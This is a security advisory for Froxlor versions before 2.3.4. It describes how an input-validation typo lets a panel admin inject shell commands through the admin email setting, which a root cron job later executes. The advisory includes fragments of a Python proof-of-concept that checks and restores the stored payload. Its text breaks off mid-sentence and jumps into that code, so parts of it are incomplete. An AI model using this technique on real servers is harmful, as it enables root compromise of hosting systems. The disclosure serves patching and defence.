GHSA-33mp-8p67-xj7c Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

• Packagist froxlor/froxlor: < 2.3.4 → fixed in 2.3.4

Summary A typo in Froxlor's input validation code (`==` instead of `=`) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the `panel.adminmail` setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character `|` is explicitly whitelisted. The result is full root-level Remote Code Execution. --- Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features") Froxlor is a shared hosting control panel. In production deployments: 1. Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design. 2. Froxlor itself enforces this boundary. The `safe_exec()` function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks `;`, `|`, `&`, `>`, `/dev/null" ], capture_output=True, text=True ) stored_value = result.stdout.strip() if payload in stored_value or stored_value == payload: print(f" [VULN] CONFIRMED! Stored value: {stored_value}") else: print(f" [INFO] Stored value: {stored_value}") print(f" [INFO] May need different form field names or approach") # Restore original value print("\n[*] Restoring original admin email...") resp = session.get(f"{TARGET}/admin_settings.php?page=overview&part=all") csrf_match = re.search(r'na…